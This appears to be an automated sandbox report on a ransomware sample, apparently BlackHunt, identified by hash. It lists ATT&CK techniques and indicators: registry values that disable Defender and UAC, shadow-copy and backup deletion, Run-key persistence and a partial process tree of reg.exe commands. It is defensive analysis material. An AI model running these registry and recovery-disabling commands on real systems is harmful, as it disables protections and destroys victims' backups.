6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89

Data Destruction

T1485

pid	Process
1160	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3752	bcdedit.exe
4744	bcdedit.exe

Renames multiple (737) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3408	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\T:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\L:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\X:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\N:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\W:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\O:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\A:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\G:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\H:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\S:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\Q:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\E:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\I:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\V:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\J:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\B:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\R:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\P:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\Z:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\K:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened (read-only)	\??\M:	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\rt.jar	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm.html	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libffi.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\03_lastfm.luac	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\visualization\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\packetizer\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\freebxml.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\jmxremote.access	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\LICENSE	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\ResizeEnable.asp	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\release	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\modules\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\LICENSE	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\calendars.properties	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\demux\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.hta	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\EPDF_Full.aapp	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy.jar	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5076	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1824	vssadmin.exe
5020	vssadmin.exe
4632	vssadmin.exe
2912	vssadmin.exe
5040	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeRestorePrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeBackupPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeTakeOwnershipPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeAuditPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeSecurityPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeIncBasePriorityPrivilege	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Token: SeBackupPrivilege	1308	vssvc.exe
Token: SeRestorePrivilege	1308	vssvc.exe
Token: SeAuditPrivilege	1308	vssvc.exe
Token: SeBackupPrivilege	1592	wbengine.exe
Token: SeRestorePrivilege	1592	wbengine.exe
Token: SeSecurityPrivilege	1592	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 4748	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	89
PID 4320 wrote to memory of 4748	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	89
PID 4320 wrote to memory of 1800	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	92
PID 4320 wrote to memory of 1800	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	92
PID 4320 wrote to memory of 1828	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	94
PID 4320 wrote to memory of 1828	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	94
PID 4320 wrote to memory of 3328	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	96
PID 4320 wrote to memory of 3328	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	96
PID 4320 wrote to memory of 4612	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	97
PID 4320 wrote to memory of 4612	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	97
PID 4748 wrote to memory of 712	4748	cmd.exe	105
PID 4748 wrote to memory of 712	4748	cmd.exe	105
PID 1828 wrote to memory of 2676	1828	cmd.exe	101
PID 1828 wrote to memory of 2676	1828	cmd.exe	101
PID 1800 wrote to memory of 4752	1800	cmd.exe	100
PID 1800 wrote to memory of 4752	1800	cmd.exe	100
PID 3328 wrote to memory of 4908	3328	cmd.exe	102
PID 3328 wrote to memory of 4908	3328	cmd.exe	102
PID 4612 wrote to memory of 3736	4612	cmd.exe	104
PID 4612 wrote to memory of 3736	4612	cmd.exe	104
PID 4320 wrote to memory of 4964	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	106
PID 4320 wrote to memory of 4964	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	106
PID 4320 wrote to memory of 228	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	108
PID 4320 wrote to memory of 228	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	108
PID 4320 wrote to memory of 1852	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	110
PID 4320 wrote to memory of 1852	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	110
PID 4320 wrote to memory of 3848	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	112
PID 4320 wrote to memory of 3848	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	112
PID 4320 wrote to memory of 2236	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	114
PID 4320 wrote to memory of 2236	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	114
PID 4320 wrote to memory of 1716	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	115
PID 4320 wrote to memory of 1716	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	115
PID 4320 wrote to memory of 2912	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	117
PID 4320 wrote to memory of 2912	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	117
PID 4320 wrote to memory of 856	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	120
PID 4320 wrote to memory of 856	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	120
PID 4320 wrote to memory of 1160	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	121
PID 4320 wrote to memory of 1160	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	121
PID 4320 wrote to memory of 1536	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	122
PID 4320 wrote to memory of 1536	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	122
PID 4964 wrote to memory of 2540	4964	cmd.exe	126
PID 4964 wrote to memory of 2540	4964	cmd.exe	126
PID 4320 wrote to memory of 4592	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	127
PID 4320 wrote to memory of 4592	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	127
PID 4320 wrote to memory of 3340	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	129
PID 4320 wrote to memory of 3340	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	129
PID 4320 wrote to memory of 1216	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	130
PID 4320 wrote to memory of 1216	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	130
PID 4320 wrote to memory of 3220	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	133
PID 4320 wrote to memory of 3220	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	133
PID 4320 wrote to memory of 5024	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	134
PID 4320 wrote to memory of 5024	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	134
PID 4320 wrote to memory of 4672	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	135
PID 4320 wrote to memory of 4672	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	135
PID 4320 wrote to memory of 4484	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	137
PID 4320 wrote to memory of 4484	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	137
PID 4320 wrote to memory of 4740	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	141
PID 4320 wrote to memory of 4740	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	141
PID 4320 wrote to memory of 4384	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	143
PID 4320 wrote to memory of 4384	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	143
PID 4320 wrote to memory of 1812	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	145
PID 4320 wrote to memory of 1812	4320	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe	145
PID 2236 wrote to memory of 2844	2236	cmd.exe	158
PID 2236 wrote to memory of 2844	2236	cmd.exe	158

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe
"C:\Users\Admin\AppData\Local\Temp\6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2676
- C:\Windows\System32\cmd.exe
